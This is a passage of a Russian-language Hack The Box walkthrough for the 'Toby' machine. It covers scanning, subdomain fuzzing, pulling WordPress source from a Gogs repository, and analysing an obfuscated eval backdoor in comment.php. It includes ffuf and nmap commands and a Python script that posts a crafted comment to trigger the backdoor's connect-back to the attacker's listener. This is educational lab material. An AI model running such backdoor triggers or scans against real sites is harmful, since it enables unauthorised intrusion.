Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня мы с тобой разберем прохождение «безумной» по сложности машины с площадки Hack The Box. Посмотрим, как работает бэкдор для WordPress, и используем его, чтобы получить доступ к хосту. Затем проникнем в Docker, перехватим пароль пользователя при подключении к базе данных и секретный ключ при подключении к SSH. А в конце поищем, разберем и используем бэкдор в механизме аутентификации Linux.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.121 toby.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Нашли четыре открытых порта:
Как обычно, начнем с веб‑сервера, тем более Nmap сам нашел для нас файл robots.txt.
Справка: robots.txt
Этот файл используется для того, чтобы попросить краулеры (например, Google или Яндекс) не трогать какие‑то определенные каталоги. Например, никто не хочет, чтобы в поисковой выдаче появлялись страницы авторизации администраторов сайта, файлы или персональная информация со страниц пользователей и прочие вещи в таком духе. Однако и злоумышленники первым делом просматривают этот файл, чтобы узнать о файлах и каталогах, которые хочет спрятать администратор сайта.
В robots.txt записана директория wp-admin
, говорящая нам о том, что сайт работает на WordPress. Если взглянуть в историю запросов Burp, то найдем и новый поддомен, который добавляем в /etc/hosts
.
10.10.11.121 toby.htb wordpress.toby.htb
История запросов Burp
А на самом сайте находим сообщение о недавней атаке.
Главная страница сайта
Больше ничего любопытного найти не удалось, сканирование с помощью WPScan ничего интересного тоже не показало. А так как на сайте уже есть один поддомен, можем попытаться найти еще. Сканировать будем с помощью ffuf, а в качестве места для перебора указываем HTTP-заголовок Host
.
ffuf -u http://toby.htb -H "Host: FUZZ.toby.htb" -w subdomains-top1million-110000.txt -t 256 -fs 10837
Результат сканирования поддоменов
Находим новый поддомен backup
, который сразу добавляем в /etc/hosts
. А на сайте нас встречает Gogs — легковесный сервис Git, написанный на Go.
10.10.11.121 toby.htb wordpress.toby.htb backup.toby.htb
Главная страница сайта
В Git находим одного пользователя toby-admin
, чьи репозитории не отображаются.
Активные пользователи Gogs
Но попробуем просканировать репозитории как каталоги с помощью того же ffuf.
ffuf -u http://backup.toby.htb/toby-admin -w directory_2.3_medium_lowercase.txt -t 256
Сканирование каталогов
В итоге находим два каталога, один из которых не возвращает никакого контента (starts
). А вот репозиторий backup
очень интересен, так как это исходные коды сайта wordpress.toby.htb
.
Содержимое репозитория backup
Скачиваем репозиторий (git clone http://backup.toby.htb/toby-admin/backup.git
) и для удобства открываем в каком‑нибудь редакторе для программирования. Я буду использовать VSCode. Так как сайт построен на WordPress, первым делом получим учетные данные для подключения к базе данных. Они содержатся в файле wp-config.php
.
Содержимое файла wp-config.php
Обратим внимание на хост mysql.toby.htb
, о котором мы пока ничего не знаем. Пароль для подключения к базе данных по SSH подключиться не помог, поэтому будем анализировать исходные коды. Сообщение об атаке было оставлено не просто так, скорее всего, нам нужно найти бэкдор. Так как это PHP-файлы, я попробовал поискать в них «опасные» функции. И находим интересное применение функции eval
, которая нужна для выполнения передаваемого в нее кода на PHP.
Поиск по строкам
Переходим к файлу comment.php
, где в функцию eval
после нескольких операций по преобразованию передается закодированная последовательность.
Содержимое файла comment.php
Это не обычный код WordPress, поэтому остановимся именно на нем. Посмотрим, где вызывается функция wp_handle_comment_submission
.
Поиск по строкам
И видим вызов из файла wp-comments-post.php
. То есть мы можем получить доступ к бэкдору при отправке комментариев к посту. Давай разбираться с самим бэкдором.
Я скопировал код бэкдора и обернул его в теги PHP, чтобы получить декодированный код. Но там оказался точно такой же вложенный код!
Модернизирование кода
Декодированный бэкдор
Похоже, таких уровней вложенности будет много. Я решил воспользоваться онлайновым сервисом для деобфускации кода.
Деобфусцированный код бэкдора
Здесь представлен только механизм авторизации для получения доступа к основному коду, которому передается управление через функцию wp_validate_4034a3
(строка 8). Туда переправляются переменные host
и sec
. Так, в комментарии должны быть указаны [email protected]
в качестве почтового адреса и http://test.toby.htb/
в качестве URL. Переменные host
и sec
должны быть разделены символом :
, и перед этой последовательностью должна идти строка 746f6279
. По синтаксису я решил, что sec
— это порт, куда должен прийти бэкконнект. Откроем листенер и отправим пробный комментарий.
Отправка комментария под постом
Но на листенер ничего не пришло. Тогда откроем Wireshark, отбросим весть трафик, связанный с 80-м портом, и повторим наш коммент. И увидим попытку бэкконнекта на порт 20053!
Трафик в Wireshark
Перезапустим листенер с указанием нового порта и снова получим бэкконнект. В итоге вместо реверс‑шелла нам приходит какая‑то строка. Вероятно, придется программировать самим. Давай автоматизируем отправку запроса и прием бэкконнекта.
import socketimport requestsfor i in range(2): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', 20053)) sock.listen(1) try: url = 'http://wordpress.toby.htb/wp-comments-post.php' data = {"comment": "746f627910.10.14.82:4321", "author": "ralf", "email": "[email protected]", "url": "http://test.toby.htb/", "submit": "Post Comment", "comment_post_ID": "2", "comment_parent": "0"} requests.post(url, data = data, timeout = 0.5) except requests.exceptions.Timeout: pass conn, address = sock.accept() data = conn.recv(1024) print(data.decode()) conn.close() sock.close()
Выполнение кода
Еще я заметил, что при каждом новом запросе первая часть строки ответа (GUID
) изменяется, а вторая часть остается такой же за исключением двух символов.
Выполнение кода
Это натолкнуло на мысль о том, что строка закодирована в hex. И предположение оказалось верным. Если у тебя установлен пакет pwntools, можешь использовать команду unhex.
Декодирование шестнадцатеричных значений
Также получаем новую пометку: xor_key
. Я попытался снова декодировать уже новое шестнадцатеричное значение, но получил какие‑то непонятные символы. Про XOR упоминается неспроста, поэтому нужно попробовать проксорить полученные данные, но с каким ключом? Из всех используемых данных мы не нашли применения только отправленному параметру sec
. Я использовал это значение в качестве ключа для XOR и получил внятную строку!
Декодирование значения xor_key
Источник: xakep.ru